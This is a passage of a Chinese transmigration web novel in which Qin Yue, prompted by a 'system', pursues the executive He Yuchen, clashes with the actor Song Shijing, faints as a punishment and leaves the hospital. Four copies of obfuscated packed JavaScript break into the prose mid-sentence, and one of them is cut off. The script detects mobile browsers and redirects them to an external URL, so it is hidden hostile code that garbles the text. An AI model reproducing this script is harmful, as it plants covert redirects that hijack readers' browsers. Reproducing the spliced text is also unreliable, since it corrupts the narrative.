马助理有那么一瞬间,看见贺煜臣漆黑冰冷的眸子盛满了他看不懂的情绪。 阴暗,潮湿。 像一只没有去路的鬼魂。 总之,马助理虽然那天及时赶到了机场,但他认为自己留下了巨大的心理阴影。 “感觉怎么样?”马助理的脸皱成一只橘子,他反应过来自己问得没头没尾的,又接了一句话,“我说那辆车。” 秦越跟着他上了单独的一个电梯,没有跟其他“沙丁鱼”享受罐头时间,他老实地回答:“感觉不出来。” 毕竟他全程40码。 马助理以为秦越在凡尔赛,他木着脸回道:“秦先生应该坐习惯这种跑车了,是吧。” 他把人送进贺煜臣的办公室,就生着闷气继续赚这个月的窝囊费了。 秦越不懂为什么马助理突然情绪就垮掉了,整个人跟碎掉了一样。 这种困惑一直持续到他跟贺煜臣面对面坐着的时候,秦越还是摸不着头脑。 贺煜臣没给他眼神,办公室里只能听见贺煜臣偶尔起笔时,笔尖擦过纸面的沙沙之声。 秦越撑着下颌,看到贺煜臣面前厚厚一叠文件被翻完之后,他扬唇先打了个招呼,“贺总,下午好。” 贺煜臣停下手上的工作,“你想要什么?” 贺煜臣说得直白。他很清楚,大部分人找他,都是想从他这里索求什么。 秦越稍微往前倾了倾上半身,俊美冷酷的眉眼此刻只有贺煜臣一个人的身影。 专注,深情。 恍然中,贺煜臣产生一种醉酒般的错觉。 “贺总,我是来求职的。”秦越说道。 贺煜臣的手指动了动,以为自己听错了,他眉头拧起又松开,“人事部在楼下。” 秦越:“你应当知道我之前做什么的。” 得益于吴泽之前的事无巨细,秦越的背调写得很翔实。 他不知道为什么,故意略去了秦越做过的不光彩职业,“你之前签约在奇点映画。” 奇点映画的体量在贺煜臣看来不算大,这家公司投资最多的就是竖屏短剧。唯一算得上红的艺人,是最近参演了一部古偶剧女三号的演员。 秦越慢悠悠地用指尖点了点桌子,没有任何不好意思地说:“那你也应当知道我被炒了吧。我听说星雾娱乐这周末会有个慈善晚宴,是不是?” 他没有点明,留下让彼此都有退步的余地。 贺煜臣沉默地盯着秦越,对方十分坦然的态度,搞得他不知如何应对,“我为什么要帮你?” 秦越轻声笑了:“帮我的理由你可以慢慢想。” 他直起身,不讲道理地把贺煜臣笼罩在自己的阴影里。 秦越上半身忽然下压,他的脸轮廓深邃,凑近看也没什么瑕疵。 等到贺煜臣反应过来的时候,一个温柔的吻已经落在他的脸侧。 “这算是……”秦越嘴角抬了抬,“定金吧。” 他说得很自然,若是忽略两个人的身份,秦越的举措像极了是上位者给的一点点施舍。 贺煜臣愣在原地,若不是他眼睛缓慢地眨了一下,秦越还以为自己施了什么魔法,把贺煜臣变成了一尊雕塑。 秦越心道这也太纯情了吧,看着完全不像是个精神上有问题的人。 有那么一秒钟,他开始怀疑系统。 秦越突然有点心虚,他摸了摸鼻子:“你不说话,我就当你默认了。” 听到秦越说话,贺煜臣这尊雕像终于动了,“等我想到理由……你可别后悔。”他声音很小,像是怕吓到秦越,又像是在说服自己。 就在贺煜臣说出这句话的瞬间,秦越敏锐地捕捉到贺煜臣眼里转瞬即逝的压抑克制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064482|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 秦越莫名觉得有趣。他倒是挺想看看贺煜臣这种冷静自持的人,完全放任自己欲望的样子。 会是什么样的呢? 秦越心里好奇,让他忍不住现在就要扒开对方那张无趣的面具。 “对了。这辆车太扎眼了,我不喜欢。”秦越若无其事地把车钥匙放在贺煜臣的面前,“物归原主。” 他没有理会贺煜臣的反应,高大的身影没有什么留恋地消失在走廊中。 贺煜臣盯着秦越随手放在他面前的车钥匙,像是在研究什么看不懂的物体。 他没有伸手,又继续对着键盘敲敲打打,仿佛桌子上没有多一把钥匙。 脸侧被轻柔吻过的地方,却在不停地灼烧着他的理智。贺煜臣呼出一口气,自暴自弃地抓过钥匙。 冰冷的钥匙贴在脸侧,但死物没有任何慰藉的作用。 胸口依旧是一阵兵荒马乱。 等到出了贺煜臣的视线范围,刚刚一直憋气没敢说话,担心影响秦越发挥的系统才发声:[这就结束了?] 那么容易的吗? 系统不懂,系统疑惑。 秦越:“我都说了我在欲擒故纵了。” 这次没马助理给他开专用电梯了,他只能走普通的员工电梯了。 好在已经过了上班使用电梯的高峰期,电梯里没人。等运行到十八层的时候,电梯停了下来,从外面进来一个高瘦的年轻人。 电梯里瞬间充盈着一股淡淡的香水味。 系统看清了来人之后,连忙提前关闭马上要转红灯的警报器:[1027号注意,你的助攻目标出现了!] 秦越不动声色地往后站了站,他不知道宋时景记不记得宾馆发生的事情,便低着头假装在看手机,“宋时景怎么会在这?” 系统:[啊!您好像又……] 秦越:“我好像又什么?” [您好像又无意间破坏了一个原文感情点。]系统一阵惊喜,有种路过捡了一张没人要的刮刮乐,结果中了奖一样。 因为秦越之前破坏了剧情转折点,小说世界会根据剧情走向,衍生出其他变体的感情节点。 宋时景今天是跟随导演组来谈合作的。趁着制片人跟管星雾娱乐的负责人聊天时候,他打算来见贺煜臣一面。 星雾娱乐的实习生是宋时景的小迷妹,她来送茶水的时候,便偷偷告知宋时景说贺煜臣有事,不方便见他。 宋时景心情当场变得不太美妙。但介于他这个身份,也不好问贺煜臣什么时候有空。 结果迷妹下一句话,让他更不美妙了。 “贺总办公室今天来了一个年轻的男人,我只看见了背影。但是以我多年站姐经验,那肩宽那身高,不知道是哪个大牌要空降星雾娱乐了。” 迷妹巴拉巴拉说完,才发现自己偶像的脸已经快黑了,她连忙找补:“也许只是身材好,可能是个模特吧。脸估计长得不行。” 宋时景知道过犹不及的道理,所以之前一直跟贺煜臣保持着若即若离的距离。 既不能显得冷落了贺煜臣,又不能昭示出他太急于得到贺煜臣的垂怜。 但是,他快要等不及了。 12. 第 12 章 宋时景明显有点心烦意乱,他没注意是下行的电梯,就直接按了贺煜臣所在的楼层。 本来他今天是不会来贺氏的总部,只不过星雾娱乐的负责人,正好要在总部开会,便抽了点会前时间跟他们聊聊合作。 宋时景本来还认为这是意外之喜,但随着实习生的话,这种惊喜突然就变成了惊吓。 无休止地对贺煜臣心理的猜测,快要让宋时景喘不过来气。他担心是之前被下药的事情,让贺煜臣对他厌烦了。 即便实习生说贺煜臣正在与人会面,他也必须要排查所有的威胁因素。 毕竟他跟贺煜臣的关系,就是那薄薄一张约定。 秦越通过光滑的电梯的内壁,第一次仔细地看着这张被粉丝称为神颜的脸。 宋时景长相很古典,有一双妩媚的凤目,加上他大学学得民族舞,整个人都有一种水墨画的味道。 等到秦越研究到宋时景手指的时候,他忍不住表情古怪起来了。 没有别的原因,虽然宋时景的手掌是偏小秀气的那种,但不妨碍这依旧是一双男人的手。 秦越实在没法理解,为什么原文里面攻被宋时景扇了一耳光之后,非但不是很生气,反而很兴奋地将他的手继续按在自己脸上,还要再说一句谢谢,接着让宋时景再来几次。 “……”是他年纪大了,跟不上时代了吗。 也许是秦越的目光实在是太过探究,宋时景终于意识到电梯里还有个人。 他轻轻地“嗯”了一声,尾调上扬,是疑惑的语气。 宋时景认出了秦越,他嘴巴动了一下,似乎想说什么,电梯已经到了。 秦越率先从他身后挤了出去,修长挺拔的身影把宋时景向外看的视线,挡得严严实实。 宋时景也没空深究自己坐反了电梯,他满脑子都是实习生描述那个男人的形容词。 什么肩宽腿长身材巨好,什么目测有一米九的身高,以及他想不起来的一些句子,总之,诡异的跟眼前的秦越重合了。 更主要的是,秦越是个网红,算半个娱乐圈的人,他就算跟贺氏有什么关系,也只会去星雾娱乐,而不是来总部。 “站住。”宋时景犹豫了一下,还是跟了上去。 秦越皱了一下眉,想当做没听见。 宋时景不依不饶:“秦越,我知道是你。” 秦越暗道一声晦气,他不确定宋时景知不知道那天在宾馆的人是他。 他可不想替原身进局子。 秦越沉默一瞬,还是转过了身。 他脸上的不耐烦,已经无需多言,警报拉得在秦越脑子里像是做了混响效果。 系统捂住耳朵,大声提示道:[您表情嫌弃的太明显了,原主是不可能这样的。] 秦越倒是想客套地笑一下,但是又不由自主地想到被抽巴掌很爽的攻,最后只好艰难地抬了一下嘴角。 但是宋时景脸色并没有变得好看,他更加不可置信:“你是在嘲笑我吗?” 秦越:天地良心,我没有嘲笑任何一个人的XP。 “没有。”秦越叹了一口气,披上原主的高情商人设,“我听说宋老师最近要参演一部电影,虽然是小道消息,不过既然您来这里了,说明已经谈得差不多了吧?我很期待不久之后的官宣。” 准备问秦越是来干什么的,却莫名被对方反客为主。宋时景不耐烦:“跟你有什么关系?倒是你,是来见谁的?” “……”秦越嘴角逐渐下垂。 系统疯狂顺毛:[您千万别炸,瞧我这样,闭上眼睛三秒钟,先深呼吸再吐气,您有没有觉得好一点。] 宋时景迟迟等不到秦越的回答,他本来就猜忌地快要疯了,他上前一步,抬起手想推一下秦越的肩膀,试图把这个沉默寡言的人晃出几句话来。 只是他还没碰到秦越的时候,自己的胳膊就被对方紧紧抓过了。 宋时景脸色铁青:“你要干嘛!”他觉得自己的胳膊,像被没有生命的金属机器给攥住了一样。 更让他恐惧的是,这种被抓住的疼痛,有点像那晚在宾馆的感觉。也是有一个人这样紧紧地抓住了他的胳膊,不由分说地把他捆在床头。 宋时景不记得那个人的长相,只记得当时自己的胳膊疼得要废了。 系统想尖叫了:[你要被弹出去这个世界了!!]惊慌之下,它甚至没有用上尊称。 秦越很气:“他想抽我耳光。” 他又不是那种会把扇耳光当做奖励的人! 系统麻了,它不可能说出让秦越老实被扇巴掌的话。但凡它要是说了,到时候1027号想揍得人就不止是宋时景了。 秦越眼里是跟脸上平静截然相反的愤怒。 他越想越气:“这个破公司,员工没有什么权利的吗?我是来上班的,不是来挨打的。” 系统大喊清汤大老爷,它觉得秦越说得太在理,但它现在只能一个滑跪:[您说得对,但是我们是这个世界的异类,就像病毒一样,是不能被世界的意识发现异常的。接下来还有补救方法。] 等着被强制脱离世界的秦越:“你之前怎么不说?” 系统可怜巴巴:[因为说是补救,实则处罚机制……所以我想尽量不要出现这种情况,就没有提。您是想被处罚,还是想脱离后再回来?] 系统补充说明:[这里说明一下情况,脱离之后,这里的角色又会跟您没来之前一样了,简而言之,就是您现在做的改变都没有了。] 虽然也没干什么事的秦越,准备想脱离算了,但是紧接着一想,按照系统的这种说话,改变的事情,会被原剧情覆盖的话,等再传回来,不会已经替原主在拘留所待着了吧?! 秦越有种在选择巧克力味的屎,还是屎味的巧克力的膈应感,他皱着眉:“我选处罚吧,处罚是什……” 他一句话没有说完,顿时眼前出现大大小小的黑点。 这种感觉很奇怪,像是低血糖犯了之后的眩晕感,他捂着额头,喘了一口气,茫然地看了一眼宋时景。 系统:[呃……我都说了我们不建议员工选择处罚,这个原理就是使您变得极度虚弱,让世界意识忽略你的存在。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064483|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋时景捂着自己被捏得乌青的胳膊,眼前的男人突然松开了手,似乎想说什么,但他整个人就跟被切断了意识一样,顺着墙壁软软地倒了下去。 宋时景目瞪口呆地看着秦越,耳畔传来了一阵慌乱的脚步声,他张了张嘴,却只能喊出来人的名字:“……马助理?” 马助理告别秦越之后忙得脚不沾地,刚刚才在茶水间接了一杯咖啡,坐回到自己位置上。 他想摸鱼一会,结果牛马社畜在工位上,屁股还没坐热,就被前台叫下去了,说是电梯间那边似乎有人起了冲突。 马助理:“有人打架喊保安啊,喊我干什么?” 前台:“真的要喊保安吗?我看其中有个人长得像您刚刚领上去那位。” 马助理大惊失色:“等等等等!他跟谁起冲突了?” 真愁人,他明明嘱咐过秦越不要闹事。 前台:“不知道啊,但是像是哪个明星来着,您知道的,我不关注娱乐圈。我也是担心这个明星是不是星雾娱乐的。要是自家公司的人,我可不敢私自处理。” 马助理开始绝望,开始思索,为什么秦越会跟自家艺人起冲突。 他飞速地迈开自己的腿,冲向电梯,疯狂地按着电梯关门键:“你帮我稳住他们,周围没人拍照吧?” 前台:“那个我不知道……不过您最好快点,您之前带上去的那位,呃——”前台顿了一下,语气慌了,“貌似晕倒了,我要叫救护车吗?” 马助理:“!!!” 他恨不得晕倒的是自己。 马助理赶到电梯间的时候,因为有前台的帮忙,周围没啥人,但是他表情比宋时景好不到哪里去。 马助理又不敢骂宋时景,只能窝囊地客气问道:“这是怎么回事?” 前台举着电话,已经在叫救护车了。 宋时景也被吓到了,“我什么都没干!他是自己晕倒的,跟我没关系!” 马助理汗流浃背了,一边是跟小贺总不清不楚的宋时景,一边是跟大老板不明不白的秦越。 “……”他好想死。 马助理捏着手机,一会看看脸色苍白,没有醒过来意思的秦越,一会盯着停留在手机界面上的贺煜臣电话。 作为浸泡在社会大染缸里许久的打工人,马助理一咬牙一跺脚,还是打通了贺煜臣的电话,虽然贺煜臣看不见他,马助理还是肌肉记忆般的点头哈腰外加微笑,“贺总?” “我这边有个情况啊。”马助理目光落在秦越还在起伏的胸膛上,心一横还是说了。 “我不知道秦先生是不是有什么先天疾病。”——体检报告是保密的,只有老板您有资格看。 “但是他现在晕倒了……目前看来是能自主呼吸的。”——眼下情况可控,老板您先别着急。 “嗯嗯嗯,已经打过120了。还有就是旁边的宋先生好像也吓坏了,要不要也把他送去医院呀?”——没错老板,罪魁祸首是宋时景。 职场话术是一门艺术。 马助理挂断电话,骄傲地挺起胸膛。不愧是我,这门艺术的大师。 13. 第 13 章 马助理得到了贺煜臣的指示后,立刻有了底气。 他先是配合医生说明了一下情况,然后朝宋时景点了一下头,“宋先生,贺总说让您去他办公室休息一下。” 说完马助理跟着救护车急匆匆地离开了。 宋时景突然就得到了他想要的机会,可这会他心里五味杂陈的。 他不知道贺煜臣是来兴师问罪的,还是什么别的原因。 贺煜臣冷静,可靠,成熟,像一座永远不会倾塌的山峦。他还不到三十岁,就已经跟贺长天形成分庭抗礼之式。 他对待每个人的态度总是完美恰当,多一分会显得热情,少一分则显得凉薄。 但是这种人偏偏……偏偏是最让人看不透的。 贺煜臣不像贺亦寒那种性格外放的人,会什么情绪都写在脸上。 他不动声色,又喜怒难测。别人很难走进他给自己画的亲密范围里。 宋时景抓着办公室的椅子把手,身体不自觉地颤抖着,他确实没想到半路会杀出来一个秦越。 从马助理的表现来看,秦越绝不是什么无足轻重的人,而自己跟他的第一次争锋,就莫名其妙地落入下风。 宋时景发誓秦越一拳能打死三个他,怎么看都不是那种一推就倒的体格。 他甚至开始怀疑,秦越是不是在装晕,从而获得贺煜臣的关注。 该死的。 宋时景从没在感情路上遇到滑铁卢,本来紧张忐忑的心情,现在快要转换为愤怒了。 “吓到了?”贺煜臣用指背推过一杯热茶,“喝一点吧。” 茶汤金黄透亮,花果蜜的香味扑面而来。 是顶级的金骏眉。 随着贺煜臣的动作,宋时景看见他手腕上还带着自己送的手表,才稍微安了心。 宋时景平复好了心情,挂上一个浅浅的微笑,接过了茶杯,他轻嗅了一下,赞叹道:“好香啊。” 贺煜臣偏过头笑道:“喜欢的话,让助理送你一份。” 宋时景赶忙放下茶杯,慌忙摆手,“贺总,我不是这个意思。” 或许是贺煜臣给的安全感太足了,不知不觉中,宋时景心情完全放松下来,他递给贺煜臣一个法兰绒盒子,虽然低着头,但是耳根的绯红还是暴露了他的心境。 “谢谢你愿意陪我出席晚宴,这是我自己做的一个品牌。”宋时景抬眼偷偷看了一眼贺煜臣,“里面是一个领带夹而已,我觉得很适合你。” 宋时景知道自己跟贺煜臣之间,自己是弱势的那一方。若只有贺煜臣一味地帮助他,就会显得他被包养了似的。 但如果他也时不时送点回礼,双方的联系就更加名正言顺一些。 就像彼此是一对关系健康的恋人。 宋时景作为艺人,自然知道自己哪个角度最好看。 他一副欲语还休的模样,纤长分明的睫毛不停地颤抖,仿佛贺煜臣说出一句拒绝的话,他就要羞愤撞墙。 贺煜臣意味深长地看向宋时景,缓缓开口道:“不必那么客气。我知道我弟弟确实很过分,父亲太过宠爱他,造成了他这个性子。他总得吃点苦头,才能长长记性,你说是不是?” 这个突如其来的问题太过送命,宋时景眼皮一跳,他不敢回答,只能含糊其辞地点了点头。 他还是大意了,差点掉进贺煜臣温柔的陷阱。 怎么刚刚那一会的功夫,自己就觉得贺煜臣很好亲近了呢? 贺煜臣莞尔道:“贺亦寒自小顽劣惯了。不过也多谢你让他知道,世界上不是所有东西,他想要就能得到。” 宋时景扯起嘴角,“小贺总对我只是一时兴起,我跟其他人没有什么不同。” 贺煜臣的指尖轻轻地勾过盒子,他打开看了一眼,里面放着一枚铂金色夹扣式领带夹,“宋先生这就是妄自菲薄了,听说你最近要进组一部电影了,是李导的吧?好好把握机会。” 他低沉的语气不轻不重,仿佛看穿了一切。 宋时景一阵心虚,他很清楚以他的本事,得过国内外无数大奖的李导,断然是看不上他的。 只可能是贺亦寒背地里替他找了路子,让他得到一个戏份不多的角色。 自己虽然明面上拒绝了贺亦寒,但是却一直享受着贺亦寒给他提供的隐形便利。 他可以假装不知道,继续心安理得,可是贺煜臣会发现吗? 宋时景小心翼翼地偷偷瞄了一眼贺煜臣,发现对方的注意力好像全在领带夹上,他才松了一口气,“既然礼物已经送到了,那我就不打扰贺总工作了。” 贺煜臣合上领带夹的盒子,上下打量着宋时景,“我找人送你一程吧,毕竟你现在状态不好。” 宋时景刚想否认,却发现自己嘴唇在小幅度地抖着,他咬紧唇瓣,道了声谢。 不能急于一时。 宋时景出门的时候,眸色暗了暗。就像越好的东西,得到它越要下功夫。 人也是如此。 今天秦越出现得毫无征兆,打乱了他的阵脚。 宋时景咬紧后槽牙,他也是晕了头,会把秦越当做自己的对手。 但凡贺煜臣知道秦越的为人,知道秦越劣迹斑斑的过往,和数不清的情人…… 秦越凭什么做他的对手。 宋时景轻蔑地哼了一声,跟着贺煜臣给他安排的人,坐上了回去的车。 - 等到秦越恢复意识的时候,眼前一阵雪白。 忽然雪白的色块动了动,秦越缓缓地眨了眨眼,才反应过来这是一件白色的衣服。 护士问他:“感觉怎么样?” 秦越懵了一会,才想起来之前发生了什么。 他哑着嗓子回答:“我感觉没事了。” 护士点头,撤下已经吊完的葡萄糖:“确实你也没事,给你做了检查,发现你没什么问题。不过突然晕倒也不是什么好现象,最好再做一个全身检查。” 秦越知道自己是怎么回事,他摇了摇头:“我真没事。” 马助理疲惫的声音冒了出来:“秦先生你为什么跟宋时景动手?” 他搬过来一个凳子,等着护士走出去之后,端着三堂会审的气势,目不转睛地问道:“而且还是在公司里面动手。” “……”秦越想到了什么,他问马助理:“宋时景呢?” 马助理好脾气地解释:“他状态不好,贺总请他去办公室喝茶去了。所以你为什么跟他起了冲突。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064484|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他没有明说,但内心在咆哮:你有没有被包养的自觉啊,都是情人就不要互相吃飞醋了啊! WTF? 秦越心态小崩,为什么他就只是一秒没看着贺煜臣,对方就又跟白月光勾搭上了? 原世界的力量那么强大吗?他仅仅改了一点点剧情,就要立刻从另外的地方找补回来。 马助理看着好像有点死了的秦越,摇了摇手机,做了一下补充说明:“贺总在问你怎么样了,我怎么回复?” 马助理也不理解,明明贺煜臣之前电话里听上去不是很急,只安排自己去医院,但是他出发之后,又发来短信问自己情况。 他有时候也挺烦的,如果贺煜臣很担心,亲自过来看就好了啊。 自己要挂号要找医生,还要回复短信,很累的。 秦越在叫系统,没空搭理马助理,“现在什么情况?” 系统:[1027号,您的处罚已结束,请对本次体验做评价,方便我们日后对处罚机制做出改善。] 秦越伸出手,想掐住悬浮在空中的系统,他眉眼阴沉,语气不善,“很差。” 系统点头,灵活地从秦越指缝中钻出来,[好的,您的评价已收到。以下是改善后的处罚机制选项,请问您更倾向于选择哪一个呢?] [电击,窒息,心脏骤停……] 马助理惊恐地看着秦越朝着虚空中张开手,做了一个抓握的姿势。 但问题是,视力不错的眼睛告诉自己,面前空无一物。 马助理战战兢兢地开口:“你是在找什么东西吗?” 秦越凌厉的五官在听到马助理这句话之后,变得更加锋利了,“我在找一个机会。” 找一个把系统捏爆的机会。 能顺便把自己送回自己的世界就更好了,这自虐任务谁爱做谁做。 马助理肃然起敬:“秦先生,你的毅力让我钦佩!” 秦越皱眉:“什么毅力?” 马助理配合地在手机上按来按去,“我知道你担心贺总注意力被宋先生夺走了,没关系,我来给你提供这个机会!” 后半句话马助理省略没说,他想说的是:秦先生有你这张脸,做什么都会成功的! 如果一定要在宋时景和秦越两人中选择一位,他决定把全部身价压在秦越身上。 秦越表情一瞬间凝固,无语地笑了一声。 马助理给了秦越一个坚定的眼神,“我已经向贺总汇报完你的情况,让他尽快过来了。”他小声做了一个口型,“我说的很严重,你装一下。” 秦越:“……”我谢谢你啊。 系统感觉自己被嫌弃,愧疚说道:[没关系的,剧情节点没有大的偏移,证明贺煜臣对宋时景的态度,跟之前并无区别。] 这句话其实也没起到安慰作用。 相反,让秦越觉得更棘手了。 秦越知道宋时景在贺煜臣身上下的功夫绝对不少。 即便这样,他也没有让贺煜臣动心。 如果说贺亦寒是一头疯狗,那贺煜臣就是一匹独行的狼。 狗在不发疯的时候,还会朝你摇摇尾巴。 但孤狼只会戒备抵触,它从不会亲近人。 14. 第 14 章 虽然跟贺煜臣接触的时间很短,秦越对贺煜臣的性情也有点模糊的了解。 他实在不像是会喜欢宋时景的人。 看出了秦越的疑惑,系统唯唯诺诺,声音低得跟哼哼也没差:[小说剧情就是这么写的。] 秦越试图理解这句简短的话:“你想说剧情会影响人的选择吗?” 文里的白月光太过坚强独立,跟秦越看到的宋时景两模两样。 原文作者确实创造了一个的世界,但笔下的角色有了生命之后,他们便按照自己的秉性,开始生活。 系统点头:[他们都是跟着剧情走的,无论是贺亦寒还是贺煜臣,这些人的命运在作者落笔的那一刹那,就已经坐落在各自的位置上了。贺煜臣这个角色就是用来衬托正牌攻的成功,是一个可怜可悲的、爱而不得者形象。] [但是我们现在做的就是改变这些人的既定命运,1027号我们没在做坏事。您之前说我是反派,应该放任剧情,让贺煜臣自己选择。但是剧情节点它一定会想方设法,回到它自认为正确的轨迹上。] [贺煜臣做不了自己的选择。] 秦越收回想整治系统的视线,“按你这么说,我们只能一点点破坏剧情,那到底进行到什么程度,才算完成任务呢?” 系统见到秦越松了口,大大地呼出一口气,它都准备要负荆请罪,跟主脑汇报宿主要离职了。 自己差点把最优秀的员工,成功地给劝退了! 系统:[一般是跟原剧情出现大幅度不一致的情况,这时候,将会判定它为一个新世界,就可以脱离原来的框架了。] 鬼知道秦越怎么从一个光球脸上,看出了为难的神色,他双手环胸,凉凉地开口:“你还有什么事瞒着我?” 系统声音一卡一顿,纠结得不行:[该回消息了,1027号。您太久没回画饼哥的消息了,再不回复的话,我又要让您进行处罚脱离二选一了。] 秦越:“……” 他都快忘了画饼哥是谁了。 消息界面看的得秦越眼花缭乱,他直接跳过,询问系统:“这人说了什么?” 系统接通手机,很快就截取了所有信息。 它听完语音,两眼一黑。 对着秦越探究的目光,系统只能硬着头皮,努力美化聊天内容:[他让您去暮色赔礼道歉。原主之前答应了他会去,但是您没去,让他在很多人面前落了面子。] 秦越不信:“他发了那么多条语音,到你这就变成一句赔礼道歉了?” 系统见忽悠不了秦越,就自暴自弃大声说道:[他原话说的是你只不过他的玩物,都被玩过好几次了,还装什么清高,赶快滚过来乖乖当一条狗……] 秦越气笑了,眼底藏着怒意,“行啊,你让他等着。” 他在马助理惊疑不定的注视下,拿上自己的东西,就往病房外面走。 马助理一脸懵逼,不知道为什么秦越的怨气,看着比连续上十天班的他还要大。 他只来得及在秦越身后摆摆手:“不是,你等一下。” 老板刚刚还在短信里说马上就到了,当事人走了算怎么个事? 秦越没听见他的声音,很快就连个影子都看不见了。 马助理又不能不付医药费,只能眼睁睁地看着秦越头也不回地走了。 系统苦涩地飘在秦越身后,觉得已经没有办法挽回秦越想要离职的心了:[1027号,您能答应我不崩人设吗?] 秦越揉了揉依然胀痛的额角,眉宇中萦绕着躁郁:“别担心,今晚结束之后,你就打报告让总局换个人过来吧。” 他都开始奇怪,依自己的性格,怎么会在这种地方工作。 秦越走得很急,迎面过来的男人也没收住脚步,直接撞进了秦越的怀里。 他下意识地伸手按住男人的后腰,触摸到衣服布料的一瞬,秦越觉得手掌下的肌肤猛得瑟缩起来。 是错觉吗? 秦越愣了一下,手指随着搂住的姿势,滑过对方的腰侧。 男人忍不住哆嗦了一下,额头毫不客气地撞上了秦越的鼻尖,秦越应声闷哼,后退了一步,松开扶在他腰上的手。 待看清了怀里的人,秦越眉头一跳,他没想到撞到的人是贺煜臣。 马助理刚刚那通短信发出去到现在,还没有五分钟,贺煜臣怎么也不可能在这么短时间到这里。 秦越心里涌出一个离谱的猜想。 除非,贺煜臣在见完宋时景之后,就直接来了这里。 而且贺煜臣没有穿着那套焊死在身上西装,换了一套工装外套,现在他看起来比实际年纪小了好几岁。 离得这么近了,秦越这才看到贺煜臣有一对微微隆起的卧蚕。 如果笑起来,应当也会有万千温柔。 可惜这个男人的笑,他只见过那种公事公办的模板微笑。 其他时间冷得像亘古不化的冬雪,秦越压根没机会注意到,原来贺煜臣还有那么明澈的五官。 想着想着,秦越差点被自己的想法逗笑了。 难道一根老冰棍在表演爱在心口难开吗,还特意换了衣服,是怕被认出来,然后进了医院却一直不敢见自己? 况且贺煜臣有什么不敢的。 他敢的很。 秦越脑海中宋时景的脸一闪而过,他立刻将之前荒谬的猜测挥之脑后,他咬着牙笑道:“贺总,真巧啊。” 贺煜臣从秦越的语气中听出了脾气,他的手指抬起,又在半空中虚虚落下,“你要去哪?” 秦越稍微弯下腰,近距离地看着贺煜臣的神色。两个人之间呼吸缠绕,明明是很暧昧的姿势,但两人都面无表情,营造出了一种宿敌相逢的气氛。 秦越想从这个男人眼里,试图分辨出哪怕一点点担心。 答案很遗憾。 秦越突然很想抽烟,他无视了贺煜臣的问话,从烟盒里摸出一根烟,但找遍了身上,也没找到打火机。 贺煜臣垂下眼,想从秦越指间抽走那根香烟,但最终什么也没做,只是抿了抿唇,“少抽点,我不喜欢烟味。” 秦越心里烦得很,但又不知道再烦什么。 他不想这时候跟贺煜臣呛声,便顺手把烟扔进了医院大门外的垃圾桶里。 一直没有得到秦越回答,贺煜臣又重复了一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064485|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题。 “你要去哪?” 秦越停下脚步,他本来就比贺煜臣高,步伐大,走得也快,腿有残疾的贺煜臣却一直没有被落下来。 贺煜臣紧攥着手杖,小声地喘着气,好像这是他唯一的依靠。 秦越看见贺煜臣的虎口处被手杖磨出一片薄红,他叹了口气。 说实话,他对贺煜臣在爹不疼娘不亲的开局中长大,翻手之间还能手握大权的实力,是很有好感的。 但这种好感也仅限于他会同情贺煜臣的结局,不足以让秦越违背自己意愿,做自己不想做的事情。 希望下一个助攻的员工,能比我做的好吧。 秦越眼里的冷漠敛去了,变成了贺煜臣看不懂的情绪。 他指尖轻轻摸过对方泛红的手掌。 贺煜臣感到很奇妙,之前和秦越在一起,总是隔着一层雾,碰不到他真实的想法。 现在雾气散了,贺煜臣反而觉得自己快要在秦越的情绪里溺死了。 但是他舍不得离开。 “贺煜臣,我要回我该去的地方了。”秦越漠然地抽回手,算是给了一个答复。 贺煜臣呼吸断了一拍。 秦越背影依旧挺拔高大,但偏生让他瞧出一点告别的意味。 系统飘荡得宛若冤死的鬼,但是它也说不出什么挽留的话。 本来它都要给宿主顺好毛了,天杀的画饼哥非要这时候发什么短信! 啊啊啊啊! 它死不瞑目。 马助理追出医院的时候,看见自己老板好像变成了望夫石。 “贺总。”马助理知道自己谎报病情的事情暴露了,顿觉前途无望。 他是不是要被辞退了。 贺煜臣黑得冷戾的瞳孔,直直看向出声的马助理。 马助理:“。” 要完。 